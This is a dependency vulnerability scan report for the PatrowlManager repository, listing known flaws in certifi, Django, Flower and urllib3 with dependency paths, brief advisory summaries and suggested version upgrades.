Vulnerabilities

86 via 827 paths

Dependencies

70

Source

GitHub

Commit

d5f0a23c

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 86
  • 6
Severity
  • 7
  • 28
  • 53
  • 4
Status
  • 92
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2017.4.17, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce certifi@2017.4.17
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 certifi@2017.4.17

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@2.2.28.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via QuerySet.explain(**options) in option names, using a suitably crafted dictionary, with dictionary expansion, as the **options argument on PostgreSQL.

Remediation

Upgrade Django to version 2.2.28, 3.2.13, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@2.2.28.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection in QuerySet.annotate(), aggregate(), and extra() methods, in column aliases, using a suitably crafted dictionary, with dictionary expansion, as the **kwargs passed to these methods.

Remediation

Upgrade Django to version 2.2.28, 3.2.13, 4.0.4 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.15.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to SQL Injection via the QuerySet.values() and values_list() methods on models with a JSONField. An attacker can exploit this vulnerability through column aliases by using a maliciously crafted JSON object object key as a passed *arg.

Remediation

Upgrade django to version 4.2.15, 5.0.8 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@4.2.17.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Affected versions of this package are vulnerable to SQL Injection via the django.db.models.fields.json.HasKey lookup on Oracle, if untrusted data is used as a lhs value. An attacker can manipulate SQL queries and access or alter database information.

Note: Applications that use the jsonfield.has_key lookup through the __ syntax are unaffected.

Remediation

Upgrade django to version 4.2.17, 5.0.10, 5.1.4 or higher.

References

critical severity

Access Restriction Bypass

  • Vulnerable module: flower
  • Introduced through: flower@0.9.2

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce flower@0.9.2
    Remediation: Upgrade to flower@1.2.0.

Overview

Affected versions of this package are vulnerable to Access Restriction Bypass due to an OAuth authentication bypass. An attacker could access the Flower API to discover and invoke arbitrary Celery RPC calls or deny service by shutting down Celery task nodes.

Remediation

Upgrade flower to version 1.2.0 or higher.

References

critical severity

SQL Injection

  • Vulnerable module: django
  • Introduced through: django@2.2.26, django-annoying@0.10.6 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django@2.2.26
    Remediation: Upgrade to django@3.2.14.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-annoying@0.10.6 django@2.2.26
    Remediation: Upgrade to django-annoying@0.10.6.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-timezone-field@5.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-cors-headers@3.2.0 django@2.2.26
    Remediation: Upgrade to django-cors-headers@3.2.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-datetime-widget@0.9.3 django@2.2.26
    Remediation: Upgrade to django-datetime-widget@0.9.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-debug-toolbar@3.2.2 django@2.2.26
    Remediation: Upgrade to django-debug-toolbar@3.2.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-filter@2.4.0 django@2.2.26
    Remediation: Upgrade to django-filter@2.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-health-check@3.12.1 django@2.2.26
    Remediation: Upgrade to django-health-check@3.18.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-organizations@1.1.2 django@2.2.26
    Remediation: Upgrade to django-organizations@1.1.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-reset-migrations@0.4.0 django@2.2.26
    Remediation: Upgrade to django-reset-migrations@0.4.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework@3.15.1.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce jsonfield@2.0.2 django@2.2.26
    Remediation: Upgrade to jsonfield@2.0.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-celery-beat@2.0.0 django-timezone-field@4.0 django@2.2.26
    Remediation: Upgrade to django-celery-beat@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 djangorestframework@3.15.1 django@2.2.26
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-datatables@0.6.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-datatables@0.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce djangorestframework-simplejwt@4.4.0 djangorestframework@3.15.1 django@2.2.26
    Remediation: Upgrade to djangorestframework-simplejwt@4.7.0.

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the Trunc(kind) and Extract(lookup_name) arguments, if untrusted data is used as a kind/lookup_name value.

Note: Applications that constrain the lookup name and kind choice to a known safe list are unaffected.

Django 4.1 pre-released versions (4.1a1, 4.1a2) are affected by this issue, please avoid using the 4.1 branch until 4.1.0 is released.

Remediation

Upgrade Django to version 3.2.14, 4.0.6 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to openapi-codec@1.3.2.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce django-rest-swagger@2.2.0 openapi-codec@1.3.2 coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.26.5, requests@2.25.1 and others

Detailed paths

  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce urllib3@1.26.5
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce coreapi@2.3.3 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to coreapi@2.3.3.
  • Introduced through: Patrowl/PatrowlManager@Patrowl/PatrowlManager#d5f0a23cf8eebd7a393dfa2b73e4274f34891dce thehive4py@1.8.1 requests@2.25.1 urllib3@1.26.5
    Remediation: Upgrade to thehive4py@2.0.0.
